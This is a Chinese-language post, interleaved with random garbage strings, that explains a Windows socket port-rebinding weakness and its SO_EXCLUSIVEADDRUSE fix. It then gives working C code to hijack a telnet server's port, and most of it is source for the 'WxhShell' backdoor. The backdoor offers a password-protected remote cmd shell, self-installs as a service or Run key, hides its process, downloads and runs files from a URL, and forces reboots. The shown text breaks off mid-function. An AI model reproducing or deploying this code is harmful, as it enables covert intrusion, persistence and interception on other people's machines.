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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ZBU<L+# s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8N j} _(=g[=Mer saddr.sin_family = AF_INET; H 9BqE+ ]o'dr
r saddr.sin_addr.s_addr = htonl(INADDR_ANY); G]xN#O; ".AW bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @$p6w d5
]-{+V+ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 RJ 4=AA| )2d1@]6# 这意味着什么?意味着可以进行如下的攻击: %2'4h(Oq^ AGwdM-$iT 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2XUIC^<@s lxD~l#)^ln 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _E0yzkS P9`CW 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c?c"|.-<p x) %"i) 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 -`spu) fK(:vwh 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7r(c@4yPI 6 AY~>p 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 })mD{c/ eln$,zK/b 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [<^ '}-SJ J7EWaXGbz #include O]="ggq& #include x>K,{{B)X #include QDK }e:4q #include cF9ZnT. DWORD WINAPI ClientThread(LPVOID lpParam); 4},Y0 QXw int main() eA(FWO { y^X]q[-? WORD wVersionRequested; 8c%N+E] DWORD ret; \G/ZA) t WSADATA wsaData; A2PeI"y BOOL val; 8 f~M6 SOCKADDR_IN saddr; ':\bn:; SOCKADDR_IN scaddr; h6`VU`pPI int err; \Yv44*I` SOCKET s; mH<|.7~0 SOCKET sc; Yu[MNX;G int caddsize; :$X dR:f}} HANDLE mt; K`|V1L.m DWORD tid; NDe FY wVersionRequested = MAKEWORD( 2, 2 ); nhm#_3!6A err = WSAStartup( wVersionRequested, &wsaData ); XTb.cqOC if ( err != 0 ) { >)>~S_u printf("error!WSAStartup failed!\n"); ,&O&h2= return -1; TEK#AR } //$^~}wt saddr.sin_family = AF_INET; \`/ P* G%jV}7h //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 CRzLyiRvU& 7D8 pb0`;J saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "6%qi qt saddr.sin_port = htons(23); =zp{ ^mC if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `J{{E,y
@ { h,fahbH- printf("error!socket failed!\n"); }U%E-:
return -1; `B3YP1 } us:v/WTQ val = TRUE; op&j4R //SO_REUSEADDR选项就是可以实现端口重绑定的 Dn>C
:YS` if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .lz=MUR { +).=}.k printf("error!setsockopt failed!\n"); {@"
F/G+ return -1; g'-hSV/@}@ } rb>2l3g* //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6k7x7z //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p .~5k //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `Y '-2Fv $iH if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4;IZ}9|G { NfCo)C-t ret=GetLastError(); O]25{L printf("error!bind failed!\n"); WUx2CK2N return -1; #Oa`P } h9. Yux listen(s,2); z`dnS]q9 while(1) r6:nYyF$)v { W3MH8z
caddsize = sizeof(scaddr); p5nrPL //接受连接请求 tKi^0vE8 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dr"@2=Z if(sc!=INVALID_SOCKET) ^h<ElK { `V[ hE
r| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q^[SN if(mt==NULL) THwq~c' { PXDJ[Oj7(0 printf("Thread Creat Failed!\n"); Qeq=4Nq break; Ao9|t;i } .MxMBrM } 7:C2xC CloseHandle(mt); ;Qlb].td } p,)pz_M closesocket(s); Ao *{#z WSACleanup(); 'GZ, return 0; /cD]m } $fW8S8 DWORD WINAPI ClientThread(LPVOID lpParam) g*%o%Lv { .m%ygoO SOCKET ss = (SOCKET)lpParam; 0gKSjTqo SOCKET sc; Xu{S4#1 unsigned char buf[4096]; MG,?,1_ & SOCKADDR_IN saddr; 61z^(F$@ long num; z8PV&o DWORD val; **n109R DWORD ret; Q>/[*(.Wd //如果是隐藏端口应用的话,可以在此处加一些判断 lIatM@gU //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 "Z
a}p|Ct saddr.sin_family = AF_INET; niCq`! saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); sQ82(N7l saddr.sin_port = htons(23); 4}^\&K&t{ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) # 9ZO1\ { )x&>Cf<, printf("error!socket failed!\n"); -s:NF;" return -1; 8qq'q"g } GYri\ <[ val = 100; xC$CRzAe5p if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %e=UYBj" { l]P3oB}Yo ret = GetLastError(); ?uE@C3 e return -1; 1ZfhDtK( } -s6;IoG/ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1,sD'iNb { @0%^\Qf2 ret = GetLastError(); x#tP)5n?s* return -1; &PEw8: TX } eJZt&|7N if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G^w:c] { F:2V; printf("error!socket connect failed!\n"); }?%5Ae7l, closesocket(sc); n{.SNipU closesocket(ss); }{) >aJ return -1; :YN,cI d* } %R*-oQ1T while(1) yLCJSN$7 { &28%~&L //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^@xn 3zJ //如果是嗅探内容的话,可以再此处进行内容分析和记录 9iOTT%pq //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )}R
w@70L- num = recv(ss,buf,4096,0); Q-f?7*> if(num>0) Gn?<~8a send(sc,buf,num,0); z_ia3k< else if(num==0) O<qo%fP break; 6y)NH 8l7 num = recv(sc,buf,4096,0); 5!d'RBO if(num>0) O8w|!$Q. send(ss,buf,num,0); G9a6 $K)b else if(num==0) B3&`/{u break; Ha20g/UN. } ^eWD4Vp|4 closesocket(ss); t>(}LV. closesocket(sc); NT [~AK9M return 0 ; =xsTVT;sj } 8u#2M8.5E ]kyGm2Ty9 Fop'm))C8 ========================================================== vBjrI*0 wO ?A/s 下边附上一个代码,,WXhSHELL ,qO2D_ %$SO9PY ========================================================== [NIaWI,> Y**|e4 #include "stdafx.h" zvnR'\A_ .uu[MzMIu #include <stdio.h> *Nh[T-y(s #include <string.h> -85W/% #include <windows.h> xsdi\
j;n> #include <winsock2.h> '#@tovr #include <winsvc.h> qFYM2 #include <urlmon.h> ;R{ffS6 a/H|/CB3 #pragma comment (lib, "Ws2_32.lib") 5j$a3nH #pragma comment (lib, "urlmon.lib") )*n2,n o@tc #define MAX_USER 100 // 最大客户端连接数 <;nhb #define BUF_SOCK 200 // sock buffer ]Br6!U4~ #define KEY_BUFF 255 // 输入 buffer g\lEdxm6Sj vmK`QPu2 #define REBOOT 0 // 重启 YA%0{Tdxz #define SHUTDOWN 1 // 关机
Vi_6O; ww$Ec #define DEF_PORT 5000 // 监听端口 ua>YI \J,pV #define REG_LEN 16 // 注册表键长度 O4A{GO^q #define SVC_LEN 80 // NT服务名长度 #=\ nuT'oy /#I~iYPe // 从dll定义API HH94?& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ov PTgiI!N typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "s5[w+,R typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,$<="kJk typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wW+@3bPl $z5 // wxhshell配置信息 r:Rk!z* struct WSCFG { 2 VyJ int ws_port; // 监听端口 l's*HExR char ws_passstr[REG_LEN]; // 口令 tKKQli4Mn4 int ws_autoins; // 安装标记, 1=yes 0=no :927y char ws_regname[REG_LEN]; // 注册表键名 &pZncm char ws_svcname[REG_LEN]; // 服务名 tDIQ= char ws_svcdisp[SVC_LEN]; // 服务显示名 d/Y#oVI char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,@4~:OY char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p? L*vcU int ws_downexe; // 下载执行标记, 1=yes 0=no k]9v${Ke char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 'WQ?%da char ws_filenam[SVC_LEN]; // 下载后保存的文件名 - HiRXB 8Xjp5 }; | )M>;q %d"d<pvx // default Wxhshell configuration C6{\^kG^j2 struct WSCFG wscfg={DEF_PORT, _?QVc0S! "xuhuanlingzhe", #9ZHt5T=$ 1, x|lX1Mh$ "Wxhshell", =/SBZLR(9 "Wxhshell", ]XhX aoqL "WxhShell Service", wY6m^g$h3 "Wrsky Windows CmdShell Service", 38l 8n. "Please Input Your Password: ", YecV+K'p: 1, ;dVYR=l " http://www.wrsky.com/wxhshell.exe", `4kVe= { "Wxhshell.exe" {kNV|E }; N(=Z4Nk5 f*46,`x // 消息定义模块 %UokR" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !)$e+o^W char *msg_ws_prompt="\n\r? for help\n\r#>"; @\s*f7 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; S5>?jn1 char *msg_ws_ext="\n\rExit."; 7/b\NLeJ' char *msg_ws_end="\n\rQuit."; )LDBvpJyQ char *msg_ws_boot="\n\rReboot..."; ee\QK,QV char *msg_ws_poff="\n\rShutdown..."; #$0*Gd-N char *msg_ws_down="\n\rSave to "; -"~XI~a@Wo {7Q)2NC char *msg_ws_err="\n\rErr!"; j9^V)\6) char *msg_ws_ok="\n\rOK!"; N83c+vs%c ;G|#i?JJ char ExeFile[MAX_PATH]; oo2CF!Xy int nUser = 0; <<l1zEf@ HANDLE handles[MAX_USER]; YgL{*XYAt int OsIsNt; >PmnR>x-rj S";c7s SERVICE_STATUS serviceStatus; &f($= 68 SERVICE_STATUS_HANDLE hServiceStatusHandle; !THa?U; c%@<
h6 // 函数声明 Ssg1p#0J int Install(void); ;nbV-<e int Uninstall(void); (utk) int DownloadFile(char *sURL, SOCKET wsh); g?E8zf ` int Boot(int flag); Q"F" 13 void HideProc(void); 8]j*z n?, int GetOsVer(void); L-eO_tTh0 int Wxhshell(SOCKET wsl); <@H`5[R void TalkWithClient(void *cs); _2
oZhJ int CmdShell(SOCKET sock); SS*3Qx:[ int StartFromService(void);
Ci(c`1av int StartWxhshell(LPSTR lpCmdLine); @<`P-+m #G!\MYfQt VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @|'$k{i VOID WINAPI NTServiceHandler( DWORD fdwControl ); DA_}pS" wU(!fw\ // 数据结构和表定义 b>]k=zd SERVICE_TABLE_ENTRY DispatchTable[] = p!>DA?vF { /^hc8X {wscfg.ws_svcname, NTServiceMain}, >yf}9Zs {NULL, NULL} ~`X$bF }; %fMFcL#h R1vuf*A5, // 自我安装 *%CDQx0} int Install(void) &t:~e" 5< { i+ICgMcd char svExeFile[MAX_PATH]; "DvhAEM HKEY key; ^?5HagA strcpy(svExeFile,ExeFile); H7%q[O ToR@XL!%rP // 如果是win9x系统,修改注册表设为自启动 8/T[dn if(!OsIsNt) { ;u;_\k<qK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 10IX84 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !xvAy3 RegCloseKey(key); zmhL[1qj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F4PWL|1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); crQ_@@X?< RegCloseKey(key); wA\a ]X. return 0; D6,Ol4d } J_ 7#UjGA, } /tj_WO_ } bXi(]5 else { 8_/,`}9
@Nn'G{8OG // 如果是NT以上系统,安装为系统服务 [*U.bRs SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H5Bh?mw2 if (schSCManager!=0) RA1K$D ?A { RQYD#4| SC_HANDLE schService = CreateService o1R:1!"2 ( MSE0z!t schSCManager, XaF;IS@A wscfg.ws_svcname, moRo>bvN~ wscfg.ws_svcdisp, ?7uK:'8 SERVICE_ALL_ACCESS, J
p)I9k,Ez SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *i>hFNLdOM SERVICE_AUTO_START, K57u87=*X? SERVICE_ERROR_NORMAL, MU:q`DRr svExeFile, i} 5M'~F NULL, MdhD "Q NULL, Q zp!)i NULL, MY'T%_id NULL, B ?l0u NULL I%l2_hs0V ); x>tsI}C if (schService!=0) -ImVXy]? { YI>9C 76L CloseServiceHandle(schService); (_]D\g~ CloseServiceHandle(schSCManager); f4Ob4ah!( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %UlgG1?A strcat(svExeFile,wscfg.ws_svcname); ,\T7{=ZG\! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A1n4R RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {F;"m&3Lt RegCloseKey(key); {r%T_BfY return 0; '^`iF,rg } wZVLpF+7 } _Kbj?j CloseServiceHandle(schSCManager); Ca-.&$f } >XxHp } @r=,:
'Mt o8Yq3N + return 1; G
> t } WO6R04+WV qM<CBcON // 自我卸载 m48Ab` int Uninstall(void) a4n5i.; { Ibg~.>.u{ HKEY key; CEAmb[h vNju|=Lo if(!OsIsNt) { =IKgi-l* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a7!{`fR5 RegDeleteValue(key,wscfg.ws_regname); L;WFHIE RegCloseKey(key); 0BH-kr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3$S~!fh RegDeleteValue(key,wscfg.ws_regname); ZW4$Ks2]Y RegCloseKey(key); a(kY,<} return 0; v
6s]X*l? } ^1y D&i'q } !%[fi[p } 1@i/N else { Nt\0) &b "'C5B>qO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9h/Hy aN if (schSCManager!=0) ~E/=nv$ { v#EFklOP SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^7a@?|,q8 if (schService!=0) k136n#KN1 { Ri\\Yb if(DeleteService(schService)!=0) { "L!U7|9J CloseServiceHandle(schService); BS
]:w(}[ CloseServiceHandle(schSCManager); T;]Ob3(BpW return 0; `"o{MaFA } virt[5w CloseServiceHandle(schService); yy+:x/(N[ } &*745,e CloseServiceHandle(schSCManager); o=6 <?v7 } q\-P/aN_ } F]fXS-@ c z,bK.KFSs return 1; ym+Ezb#o } j#xGB] ~nb(e$?N // 从指定url下载文件 `X)A$lLr int DownloadFile(char *sURL, SOCKET wsh) [b_qC'K[ { o+.ySSBl+ HRESULT hr; 0
vYG#S char seps[]= "/"; m41%?uC/ char *token; TV#>x!5!d char *file; RB6Q>3g char myURL[MAX_PATH]; _zJ /z char myFILE[MAX_PATH]; _90<*{bt. `<kB/T strcpy(myURL,sURL); O8cZl1C3 token=strtok(myURL,seps); ANgt\8 while(token!=NULL) P)#h4|xZ { ?^2nrh,n+ file=token; q!W=U8` token=strtok(NULL,seps); hC9EL=
A } ?z2! ? BMqr YW GetCurrentDirectory(MAX_PATH,myFILE); 7t1as. strcat(myFILE, "\\"); 5E*Qqe strcat(myFILE, file); "vg.{ send(wsh,myFILE,strlen(myFILE),0); jgS3# send(wsh,"...",3,0); ANJL8t-m hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tfu`_6 if(hr==S_OK) !
,{zDMA return 0; b^&azUkMN else bWSc&/9y return 1; 9 )!} JU.!< } ^d@2Y0hH tRO=k34 // 系统电源模块 >rJ**y int Boot(int flag) cGR) $: { #C~ </R% HANDLE hToken; 3fA+{Y8S TOKEN_PRIVILEGES tkp; X6T[+]Gc W#E(?M[r if(OsIsNt) { h"/'H)G7_& OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
2W`WOBz LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Xs# _AX tkp.PrivilegeCount = 1; JWYe~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J@"UFL'^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,RM8D)m\ if(flag==REBOOT) { \I-e{'h if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #p7gg61 return 0; 1X7GM65# } cTS.yN({G else { \#WWJh"W if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jvAjnh# return 0; ;]b4O4C\ } DA04llX~ } 5!cp^[rGL else { -FI)o`AE if(flag==REBOOT) { lC`w}0p if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4<Nd5T return 0; :WX
OD } %l14K_ else { *^Ges;5$" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YM6
J:89 return 0; FRajo~H } )QRT/, ;c } }mzd23^W>P idGn{f((f return 1; s^SU6P/] } 1G.?Y3DC< TnKv)%VF // win9x进程隐藏模块 l qwy5# void HideProc(void) +/l@ou' { _hJdC|/ 9P)!v.,T/ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g1}:;VG= if ( hKernel != NULL ) (_8.gS[
{ #z
_<{'
P" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x;$ESPPg ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M:/(~X{? FreeLibrary(hKernel); /e[m;+9^& } zi3v,Kq iETUBZ return; X7AxI\h } WcoA)we M_Q`9 // 获取操作系统版本 ZSW@,Ti int GetOsVer(void) c"-X:m" { Maq`Or|4 OSVERSIONINFO winfo; L+p}%!g winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q{?\qCrrYl GetVersionEx(&winfo); dNNXMQ0" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [@5cYeW3. return 1; `2LmLFkb else 2G$px return 0; fP5i3[T } 'I+S5![< 'W4B // 客户端句柄模块 r~YBj>} int Wxhshell(SOCKET wsl) }$ySZa9 { J]XLWAM SOCKET wsh; t!SxJB e struct sockaddr_in client; WeaT42*Q{ DWORD myID; H#D:'B j29 ,zr9* t while(nUser<MAX_USER) :9ia|lN
{ HR"clD\{Di int nSize=sizeof(client); ]u!s-=3s wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZJU
%&@ if(wsh==INVALID_SOCKET) return 1; yo->mD *$|f9jVh handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^|p D(v if(handles[nUser]==0) bGL} nPo closesocket(wsh); J`)/\9'&& else +6$+]u] nUser++; =}Zl
E } sR>>l3H WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i%.k{MY bf+C=A)s0 return 0; aJf3rHX } %K')_NS@ n44 T4q // 关闭 socket EyVu-4L:# void CloseIt(SOCKET wsh) a>W++8t1 ; { Md@x2Ja closesocket(wsh); }BU%<5CQ nUser--; l0`bseN< ExitThread(0); 0m]QQGvJ{ } F~fBr NJgu`@YoI // 客户端请求句柄 WZn;u3,R void TalkWithClient(void *cs) ;Ivv4u { %(p9AE `ovMfL.u SOCKET wsh=(SOCKET)cs; )mf|3/o char pwd[SVC_LEN]; l7jen=(Zb; char cmd[KEY_BUFF]; tc[Ld# char chr[1]; )W
p7e51 int i,j; }|2A6^FH. PN?;\k)" while (nUser < MAX_USER) { COu5Tu^ YW6a?f^! if(wscfg.ws_passstr) { )1B?<4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aaCRZKr //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \V!{z;.fA //ZeroMemory(pwd,KEY_BUFF); 6'kQ(r> i=0; 0$c(<+D while(i<SVC_LEN) { e
ar:`11z U)Hc7%
e // 设置超时 X>yDj]*4P fd_set FdRead; )Jk$j struct timeval TimeOut; "5<! FD_ZERO(&FdRead); F"k`PF*b FD_SET(wsh,&FdRead); 9v`sSTlSd TimeOut.tv_sec=8; <(@S;?ZEW TimeOut.tv_usec=0; 8Cp@k= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z\`SDC if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SO *oBA' =TNFAt if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HM0&% pwd =chr[0]; WwTl|wgvyI if(chr[0]==0xd || chr[0]==0xa) { qMVuFwPhi pwd=0; 2"Wq=qy\J break; iYvzZ7
8f } %m f)BC i++; 9%|skTgIqH } ^
'|y^t LH_H
yP_ // 如果是非法用户,关闭 socket |[iO./zP if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4GF3.?3 } "Zhh>cz ;z9,c send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I50LysM send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +em!TO B-]bhA4|: while(1) { !9NF@e'&! zEO~mJzo ZeroMemory(cmd,KEY_BUFF); '+{yg+#/wV yp$jLBA // 自动支持客户端 telnet标准 -hW>1s< j=0; `.O$RwC&7B while(j<KEY_BUFF) { /iM1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G\MeJSt* cmd[j]=chr[0]; = FV12(U if(chr[0]==0xa || chr[0]==0xd) { K) cmd[j]=0; qGH[kd break; %G2g
@2 }
0n6eWwY j++; S@3`H8 [ } \^9n&MonM ww7nQ}H5( // 下载文件 aW dI if(strstr(cmd,"http://")) { @d~]3T send(wsh,msg_ws_down,strlen(msg_ws_down),0); !y~nsy:&7x if(DownloadFile(cmd,wsh)) +JC"@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '@+q_v@Jl else Ew{*)r)m send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *&Iv Eu } /D^ g" else { $mKExW h_P[B switch(cmd[0]) { HLqN=vE6 +,YK}?e // 帮助 NY<qoV case '?': { ktynIN send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ca3zY|Oo break; h>*3i# } 3GKKC9C6 // 安装 k3t]lGp case 'i': { K]B`&ih if(Install()) |pBFmm* send(wsh,msg_ws_err,strlen(msg_ws_err),0); :TP4f
?FA else +{=U!}3| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $eT[`r break; ./3/3&6 } [^}bc-9?i // 卸载 8$]SvfX case 'r': { _u6NaB if(Uninstall()) Q%q;=a send(wsh,msg_ws_err,strlen(msg_ws_err),0); hG~.Sc:G else -a>CF^tH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LNR1YC1c break; k)D5>T } `a[fC9 // 显示 wxhshell 所在路径 ,Nw2cv}D case 'p': { &E0^Jz char svExeFile[MAX_PATH]; U_'M9g{,< strcpy(svExeFile,"\n\r"); OhN2FkxL strcat(svExeFile,ExeFile); Ws0)B8y,| send(wsh,svExeFile,strlen(svExeFile),0); ,.2qh|Ol break; DeW{#c6 } U& // 重启 ._j?1Fw` case 'b': { |P&
\C8h send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G#` if(Boot(REBOOT)) fW=<bf send(wsh,msg_ws_err,strlen(msg_ws_err),0); >)NS U else { :%AEwRZ closesocket(wsh); C:sgT6 ExitThread(0); %wru) } G?LC!9MB break; 'lpCwH } WQN`y>1#@_ // 关机 ?8s$RYp14 case 'd': { 5`e;l$
M` send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ](n)bF+ym if(Boot(SHUTDOWN)) !PeSnO send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4HZXv\$ else { 2#yDVN$ closesocket(wsh); N$t<&5+ ExitThread(0); pN9U1!|uam } LcA7f'GVK break; *PFQ } %zY5'$v ` // 获取shell x<rS2d-Y case 's': { P~lU`.X} CmdShell(wsh); `S4*~Xx closesocket(wsh); 3:#6/@wQ ExitThread(0); ' e!WZvr break; M6A0D+08 }
tmBt[ // 退出 kd"nBb= case 'x': { F/LMk8RgR send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G `3{Q7k CloseIt(wsh); +!ljq~% break; n,s7!z/ } 4,R"(ej // 离开 *CQZ6&^ case 'q': { "WtYqXyd send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^jRX6 closesocket(wsh); *]R5bj.!o WSACleanup(); `Xeiz'~f8 exit(1); =E!Y f#p+q break; 5wAKA`p"z } ! N!pvK; } r: >RH, } mqsAYzG K8[Um!( // 提示信息 ='+I dn#5 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !"RRw&0M } [742s]j } kmu`sk" 0!0o[3* return; 2v@B7r4} } umnQ$y
0 =w`uZ;l$Q // shell模块句柄 w 2U302TZ int CmdShell(SOCKET sock) n`w]? bL { Pe\Obd8d STARTUPINFO si; \k"Ct zoX ZeroMemory(&si,sizeof(si)); A*/8j\{n si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LxWd_B si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c1a$J` PROCESS_INFORMATION ProcessInfo; a-FI`Dv char cmdline[]="cmd"; -nHkO&&R CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [YODyf}M>\ return 0; :O&jm.2m } [iO8R-N8d eGpKoq7a // 自身启动模式 #+U1QOsz int StartFromService(void) PP!-*~F0Jr { AX1!<K typedef struct ?fC9)s { d8 Jf3Mo DWORD ExitStatus; (.Ak* DWORD PebBaseAddress; CDuA2e DWORD AffinityMask; L$);50E
DWORD BasePriority; |`o1B;lc ULONG UniqueProcessId; w8 UUeF ULONG InheritedFromUniqueProcessId; 0&Ftx%6% } PROCESS_BASIC_INFORMATION; 3< 6h~ek) 6:; >id${ PROCNTQSIP NtQueryInformationProcess; LCj3{>{/= /5L\:eX% static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?mK&Slh. static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q`L)^In" Qmo}esb'( HANDLE hProcess;
